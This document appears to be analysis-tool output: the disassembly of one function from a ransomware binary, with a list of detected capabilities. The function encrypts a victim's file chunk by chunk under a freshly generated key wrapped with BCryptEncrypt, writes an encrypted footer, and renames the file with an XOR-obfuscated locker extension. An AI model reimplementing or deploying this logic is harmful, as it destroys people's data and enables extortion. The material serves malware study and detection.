Function at 0x40fa00
Capabilities:
Encrypt or decrypt data via bcrypt
Get file attributes
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472f51
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x24dc
call fcn.004385d0
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, edx
mov dword [ebp - 0x249c], esi
mov dword [ebp - 0x24e0], ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x40fa61
xor eax, 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x487d78
lea eax, [ebp - 0x24a4]
push esi
push eax
call fcn.00452adb
mov eax, dword [ebp - 0x24a4]
add esp, 0xc
test eax, eax
jne 0x40fab9
call fcn.00456773
push dword [eax]
call fcn.00456d18
push eax
push str.File_open_error_:__s_n
call fcn.004022d0
add esp, 0xc
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00437366
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call fcn.004561db
push dword [ebp - 0x24a4]
call fcn.004527f1
mov edi, edx
add esp, 0x14
mov esi, eax
mov dword [ebp - 0x24b8], edi
or eax, edi
jne 0x40fafb
push str.File_Size_is_Zero._n
call fcn.004022d0
push dword [ebp - 0x24a4]
call fcn.00452b99
add esp, 8
jmp 0x40fa9a
test edi, edi
jl 0x40fddd
jg 0x40fb11
cmp esi, 0x158
jb 0x40fddd
push 2
push 0xffffffffffffffff
push 0xfffffea8
push dword [ebp - 0x24a4]
call fcn.004561db
push 0x64
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.0044edc0
mov ecx, dword fs:[0x2c]
add esp, 0x1c
mov eax, dword [0x4a0a2c]
mov dword [ebp - 0x24ac], 0x7b6a6b63
mov word [ebp - 0x24a8], 0x6f7d
mov ecx, dword [ecx]
mov byte [ebp - 0x24b1], 0x2e
mov dword [ebp - 0x2498], ecx
cmp eax, dword [ecx + 4]
jle 0x40fbbe
push 0x4a0a2c
call fcn.004374fa
add esp, 4
cmp dword [0x4a0a2c], 0xffffffff
jne 0x40fbbe
mov eax, dword [ebp - 0x24ac]
mov dword [0x49e3cc], eax
mov ax, word [ebp - 0x24a8]
mov word [0x49e3d0], ax
mov al, byte [ebp - 0x24b1]
push 0x4783c0
mov byte [0x49e3d2], al
call fcn.00437921
push 0x4a0a2c
call fcn.004374b0
add esp, 8
mov al, byte [0x49e3d2]
test al, al
je 0x40fbf8
xor byte [0x49e3cc], 0x2e
xor byte [0x49e3cd], 0x2e
xor byte [0x49e3ce], 0x2e
xor byte [0x49e3cf], 0x2e
xor byte [0x49e3d0], 0x2e
xor byte [0x49e3d1], 0x2e
xor al, 0x2e
mov byte [0x49e3d2], al
mov ecx, 0x49e3cc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc00
push dword [ebp - 0x24a4]
sub ecx, edx
lea eax, [ebp - 0x98]
push ecx
push 1
push eax
call fcn.00456b44
mov edx, dword [ebp - 0x2498]
add esp, 0x10
mov eax, dword [0x4a08c0]
mov dword [ebp - 0x24ac], 0x7b6a6b63
mov word [ebp - 0x24a8], 0x6f7d
mov byte [ebp - 0x24b1], 0x2e
cmp eax, dword [edx + 4]
jle 0x40fca4
push 0x4a08c0
call fcn.004374fa
add esp, 4
cmp dword [0x4a08c0], 0xffffffff
jne 0x40fc9e
mov eax, dword [ebp - 0x24ac]
mov dword [0x4a051c], eax
mov ax, word [ebp - 0x24a8]
mov word [0x4a0520], ax
mov al, byte [ebp - 0x24b1]
push 0x478380
mov byte [0x4a0522], al
call fcn.00437921
push 0x4a08c0
call fcn.004374b0
add esp, 8
mov edx, dword [ebp - 0x2498]
mov al, byte [0x4a0522]
test al, al
je 0x40fcde
xor byte [0x4a051c], 0x2e
xor byte [0x4a051d], 0x2e
xor byte [0x4a051e], 0x2e
xor byte [0x4a051f], 0x2e
xor byte [0x4a0520], 0x2e
xor byte [0x4a0521], 0x2e
xor al, 0x2e
mov byte [0x4a0522], al
mov ecx, 0x4a051c
lea eax, [ecx + 1]
mov dword [ebp - 0x2498], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fcf0
sub ecx, dword [ebp - 0x2498]
mov eax, dword [0x4a020c]
mov dword [ebp - 0x2498], ecx
mov dword [ebp - 0x24ac], 0x7b6a6b63
mov word [ebp - 0x24a8], 0x6f7d
mov byte [ebp - 0x24b1], 0x2e
cmp eax, dword [edx + 4]
jle 0x40fd80
push 0x4a020c
call fcn.004374fa
add esp, 4
cmp dword [0x4a020c], 0xffffffff
jne 0x40fd7a
mov eax, dword [ebp - 0x24ac]
mov dword [0x49ecec], eax
mov ax, word [ebp - 0x24a8]
mov word [0x49ecf0], ax
mov al, byte [ebp - 0x24b1]
push 0x4783a0
mov byte [0x49ecf2], al
call fcn.00437921
push 0x4a020c
call fcn.004374b0
add esp, 8
mov ecx, dword [ebp - 0x2498]
mov al, byte [0x49ecf2]
test al, al
je 0x40fdba
xor byte [0x49ecec], 0x2e
xor byte [0x49eced], 0x2e
xor byte [0x49ecee], 0x2e
xor byte [0x49ecef], 0x2e
xor byte [0x49ecf0], 0x2e
xor byte [0x49ecf1], 0x2e
xor al, 0x2e
mov byte [0x49ecf2], al
push ecx
lea eax, [ebp - 0x98]
push 0x49ecec
push eax
call fcn.00456400
add esp, 0xc
test eax, eax
jne 0x40fddd
push str.File_is_already_encrypted._n
jmp 0x40fae6
push 0x158
lea eax, [ebp - 0x1f0]
push 0
push eax
call fcn.0044edc0
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x24ac], 0x7b6a6b63
mov word [ebp - 0x24a8], 0x6f7d
mov byte [ebp - 0x24b1], 0x2e
mov ecx, dword [eax]
mov eax, dword [0x4a06d4]
cmp eax, dword [ecx + 4]
jle 0x40fe72
push 0x4a06d4
call fcn.004374fa
add esp, 4
cmp dword [0x4a06d4], 0xffffffff
jne 0x40fe72
mov eax, dword [ebp - 0x24ac]
mov dword [0x4a02c0], eax
mov ax, word [ebp - 0x24a8]
mov word [0x4a02c4], ax
mov al, byte [ebp - 0x24b1]
push 0x478360
mov byte [0x4a02c6], al
call fcn.00437921
push 0x4a06d4
call fcn.004374b0
add esp, 8
mov al, byte [0x4a02c6]
test al, al
je 0x40feac
xor byte [0x4a02c0], 0x2e
xor byte [0x4a02c1], 0x2e
xor byte [0x4a02c2], 0x2e
xor byte [0x4a02c3], 0x2e
xor byte [0x4a02c4], 0x2e
xor byte [0x4a02c5], 0x2e
xor al, 0x2e
mov byte [0x4a02c6], al
xor ecx, ecx
nop
mov al, byte [ecx + 0x4a02c0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1f1], al
test al, al
jne 0x40feb0
inc dword [0x4990f4]
xorps xmm0, xmm0
push 0
mov dword [ebp - 0x1e8], esi
mov dword [ebp - 0x1e4], edi
movups xmmword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x24], xmm0
call fcn.00456809
add eax, dword [0x4990f4]
push eax
mov dword [ebp - 0x24a8], edx
call fcn.0045283e
add esp, 8
xor edi, edi
nop
call fcn.0045281d
and eax, 0x800000ff
jns 0x40ff13
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + edi - 0x34], al
inc edi
cmp edi, 0x20
jl 0x40ff00
mov eax, dword [ebp - 0x24e0]
mov ecx, dword [0x4970ec]
lea edi, [eax + eax*4]
shl edi, 3
lea eax, [ebp - 0x34]
add ecx, edi
mov dword [ebp - 0x24e8], edi
push ecx
push eax
call fcn.00401630
mov eax, dword [0x4970ec]
lea ecx, [ebp - 0x2498]
push 4
push ecx
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x24b0]
mov dword [ebp - 0x24b0], str.SHA1
push ecx
add eax, edi
mov dword [ebp - 0x24ac], 0
push 0x20
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24bc], eax
push ecx
push dword [eax + 0x20]
mov dword [ebp - 0x24a8], 0
mov dword [ebp - 0x2498], 0
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
mov edi, dword [ebp - 0x24b8]
test eax, eax
jne 0x40ffdd
push 4
lea eax, [ebp - 0x2498]
push eax
push dword [ebp - 0x2498]
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
lea eax, [ebp - 0x24b0]
push eax
push 0x20
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24bc]
push dword [eax + 0x20]
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
cmp dword [0x4939ec], 0x10
mov eax, 0x4939d8
push 0x1000
cmovae eax, dword [0x4939d8]
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0xc8], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [ebp - 0xb8], xmm0
movups xmm0, xmmword [eax + 0x30]
lea eax, [ebp - 0x1494]
push eax
movups xmmword [ebp - 0xa8], xmm0
call fcn.0044edc0
push 0x1000
lea eax, [ebp - 0x2494]
push 0
push eax
call fcn.0044edc0
push 0
push 0
push 0
push dword [ebp - 0x24a4]
call fcn.004561db
add esp, 0x28
test edi, edi
jg 0x410094
jl 0x410063
cmp esi, 0x2000
jae 0x41006a
mov ecx, 1
jmp 0x4100d8
test edi, edi
jg 0x410094
jl 0x410078
cmp esi, 0x100000
jae 0x41007f
mov ecx, 4
jmp 0x4100d8
test edi, edi
jg 0x410094
jl 0x41008d
cmp esi, 0x1400000
jae 0x410094
mov ecx, 0x200
jmp 0x4100d8
push 0
push 0x12c000
push edi
push esi
call fcn.00472650
cdq
mov ecx, eax
mov eax, edx
mov dword [ebp - 0x24bc], ecx
mov dword [ebp - 0x24c0], eax
test eax, eax
jg 0x4100d3
jl 0x4100be
cmp ecx, 2
jae 0x4100c5
mov ecx, 2
jmp 0x4100d8
test eax, eax
jl 0x4100e6
jg 0x4100d3
cmp ecx, 0x12c00
jbe 0x4100e6
mov ecx, 0x12c00
xor eax, eax
mov dword [ebp - 0x24bc], ecx
mov dword [ebp - 0x24c0], eax
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1dc], eax
test edi, edi
jl 0x4103f2
jg 0x410104
test esi, esi
je 0x4103f2
push 0x1000
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.0044edc0
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x1494]
push 0x1000
push 1
push eax
call fcn.00456b44
mov edi, eax
add esp, 0x1c
test edi, edi
js 0x410627
cmp edi, 0x1000
je 0x41015b
push dword [ebp - 0x24a4]
call fcn.00452850
add esp, 4
test eax, eax
jne 0x410627
push 0x1000
lea eax, [ebp - 0x2494]
push 0
push eax
call fcn.0044edc0
mov ecx, dword [ebp - 0x24e8]
lea eax, [ebp - 0x2494]
add esp, 0xc
cmp edi, 0x1000
setl byte [ebp - 0x24e4]
add ecx, dword [0x4970ec]
push eax
push dword [ebp - 0x24e4]
lea eax, [ebp - 0x1494]
push edi
push eax
call fcn.00401890
mov dword [ebp - 0x2498], eax
cmp eax, 0xffffffff
je 0x410614
cmp edi, 0x1000
jne 0x4101c3
cmp eax, edi
jne 0x410614
mov eax, edi
neg eax
push 1
cdq
push edx
push eax
push dword [ebp - 0x24a4]
call fcn.004561db
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x2494]
push dword [ebp - 0x2498]
push 1
push eax
call fcn.00456697
mov ecx, dword [ebp - 0x24bc]
mov eax, edi
mov edi, dword [ebp - 0x24b8]
add esp, 0x20
cdq
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x24b8], edi
cmp ecx, 1
jne 0x41021f
cmp dword [ebp - 0x24c0], 0
je 0x4103e0
mov edx, dword [ebp - 0x24c0]
mov eax, ecx
shld edx, eax, 0xc
mov ecx, esi
mov dword [ebp - 0x2498], edi
shl eax, 0xc
sub ecx, eax
sbb dword [ebp - 0x2498], edx
add ecx, 0x1000
mov dword [ebp - 0x24c4], ecx
adc dword [ebp - 0x2498], 0
js 0x41028a
jg 0x410259
test ecx, ecx
je 0x41028a
sub eax, 0x1000
push 1
sbb edx, 0
push edx
push eax
push dword [ebp - 0x24a4]
call fcn.004561db
mov edi, dword [ebp - 0x2498]
add esp, 0x10
mov esi, dword [ebp - 0x24c4]
mov dword [ebp - 0x24b8], edi
jmp 0x4100f2
test esi, esi
jle 0x4103e0
mov eax, esi
mov ecx, 0x1000
cdq
idiv ecx
test edx, edx
cmovne ecx, edx
mov dword [ebp - 0x2498], ecx
lea ecx, [eax - 1]
cmovne ecx, eax
test ecx, ecx
jle 0x4102d0
mov eax, ecx
mov ecx, 0x1000
imul ecx
push 1
push edx
push eax
push dword [ebp - 0x24a4]
sub esi, eax
sbb edi, edx
call fcn.004561db
add esp, 0x10
push 0x1000
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.0044edc0
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x1494]
push dword [ebp - 0x2498]
push 1
push eax
call fcn.00456b44
add esp, 0x1c
mov dword [ebp - 0x24b8], eax
test eax, eax
js 0x410627
push dword [ebp - 0x24a4]
call fcn.00452850
add esp, 4
test eax, eax
jne 0x410627
push 0x1000
push eax
lea eax, [ebp - 0x2494]
push eax
call fcn.0044edc0
add esp, 0xc
lea eax, [ebp - 0x2494]
cmp dword [ebp - 0x2498], 0x1000
setl byte [ebp - 0x24a8]
push eax
push dword [ebp - 0x24a8]
lea eax, [ebp - 0x1494]
push dword [ebp - 0x24b8]
push eax
mov eax, dword [ebp - 0x24e0]
lea ecx, [eax + eax*4]
mov eax, dword [0x4970ec]
lea ecx, [eax + ecx*8]
call fcn.00401890
mov ecx, eax
mov dword [ebp - 0x24c4], ecx
cmp ecx, 0xffffffff
je 0x410614
mov eax, dword [ebp - 0x24b8]
cmp eax, 0x1000
jne 0x4103a0
cmp ecx, eax
jne 0x410614
neg eax
push 1
cdq
push edx
push eax
push dword [ebp - 0x24a4]
call fcn.004561db
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x2494]
push dword [ebp - 0x24c4]
push 1
push eax
call fcn.00456697
mov eax, dword [ebp - 0x24b8]
add esp, 0x20
cdq
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x24b8], edi
test edi, edi
jl 0x4103f2
jg 0x410104
test esi, esi
jne 0x4100f2
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x1f0]
push 1
push 0x158
push eax
call fcn.00456697
push dword [ebp - 0x24a4]
call fcn.00452b99
mov dword [ebp - 4], 2
add esp, 0x14
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x24ac], 0x6a6b6300
mov dword [ebp - 0x24a8], 0x2e6f7d7b
mov esi, dword [eax]
mov eax, dword [0x49e4c8]
cmp eax, dword [esi + 4]
jle 0x41048c
push 0x49e4c8
call fcn.004374fa
add esp, 4
cmp dword [0x49e4c8], 0xffffffff
jne 0x41048c
mov eax, dword [ebp - 0x24ac]
mov dword [0x4a074c], eax
mov eax, dword [ebp - 0x24a8]
push 0x478350
mov dword [0x4a0750], eax
call fcn.00437921
push 0x49e4c8
call fcn.004374b0
add esp, 8
mov al, byte [0x4a0753]
test al, al
je 0x4104cd
xor byte [0x4a074c], 0x2e
xor byte [0x4a074d], 0x2e
xor byte [0x4a074e], 0x2e
xor byte [0x4a074f], 0x2e
xor byte [0x4a0750], 0x2e
xor byte [0x4a0751], 0x2e
xor byte [0x4a0752], 0x2e
xor al, 0x2e
mov byte [0x4a0753], al
mov ecx, 0x4a074c
mov dword [ebp - 0x24cc], 0
mov dword [ebp - 0x24c8], 0xf
mov byte [ebp - 0x24dc], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104f0
sub ecx, edx
push ecx
push 0x4a074c
lea ecx, [ebp - 0x24dc]
call fcn.00401f60
push 0x50
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 3
push 0
push eax
call fcn.0044edc0
add esp, 0xc
lea ecx, [ebp - 0x84]
call fcn.00417300
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24dc]
cmp dword [ebp - 0x24c8], 0x10
mov eax, dword [ebp - 0x24cc]
cmovae ecx, dword [ebp - 0x24dc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00419860
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00417240
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x249c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
call fcn.0044e433
mov edx, dword [ebp - 0x18]
add esp, 8
test eax, eax
setne byte [ebp - 0x24b1]
cmp edx, 8
jb 0x4105ca
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4105c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41088a
push edx
push ecx
call fcn.004373a7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x24c8]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 0x10
jb 0x41063b
mov ecx, dword [ebp - 0x24dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410631
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41088a
jmp 0x410631
push dword [ebp - 0x24a4]
call fcn.00452b99
add esp, 4
jmp 0x40fa9a
push str.Read_File_Error
jmp 0x40fae6
push edx
push ecx
call fcn.004373a7
add esp, 8
cmp byte [ebp - 0x24b1], 0
je 0x410658
push str.File_already_have_locker_Extension._n
call fcn.004022d0
add esp, 4
xor eax, eax
jmp 0x40fa9d
push 0x3fc
lea eax, [ebp - 0x494]
push 0
push eax
call fcn.0044edc0
mov eax, dword [0x4a0998]
add esp, 0xc
mov dword [ebp - 0x24a0], 0x6a6b6300
mov dword [ebp - 0x249c], 0x2e6f7d7b
cmp eax, dword [esi + 4]
jle 0x4106d2
push 0x4a0998
call fcn.004374fa
add esp, 4
cmp dword [0x4a0998], 0xffffffff
jne 0x4106d2
mov eax, dword [ebp - 0x24a0]
mov dword [0x4a04a4], eax
mov eax, dword [ebp - 0x249c]
push 0x478340
mov dword [0x4a04a8], eax
call fcn.00437921
push 0x4a0998
call fcn.004374b0
add esp, 8
mov al, byte [0x4a04ab]
test al, al
je 0x410713
xor byte [0x4a04a4], 0x2e
xor byte [0x4a04a5], 0x2e
xor byte [0x4a04a6], 0x2e
xor byte [0x4a04a7], 0x2e
xor byte [0x4a04a8], 0x2e
xor byte [0x4a04a9], 0x2e
xor byte [0x4a04aa], 0x2e
xor al, 0x2e
mov byte [0x4a04ab], al
mov ecx, 0x4a04a4
mov dword [ebp - 0x24cc], 0
mov dword [ebp - 0x24c8], 0xf
mov byte [ebp - 0x24dc], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410736
sub ecx, edx
push ecx
push 0x4a04a4
lea ecx, [ebp - 0x24dc]
call fcn.00401f60
push 0x50
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.0044edc0
add esp, 0xc
lea ecx, [ebp - 0x84]
call fcn.00417300
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x24dc]
cmp dword [ebp - 0x24c8], 0x10
mov eax, dword [ebp - 0x24cc]
cmovae ecx, dword [ebp - 0x24dc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00419860
lea ecx, [ebp - 0x84]
call fcn.00417240
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x494]
push 0x487e14
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x18]
add esp, 0x10
cmp edx, 8
jb 0x41080a
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410800
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41088f
push edx
push ecx
call fcn.004373a7
add esp, 8
mov edx, dword [ebp - 0x24c8]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 0x10
jb 0x410854
mov ecx, dword [ebp - 0x24dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41084a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41088f
push edx
push ecx
call fcn.004373a7
add esp, 8
lea eax, [ebp - 0x494]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
jmp 0x40fa9d
call fcn.0045212a
call fcn.0045212a
int3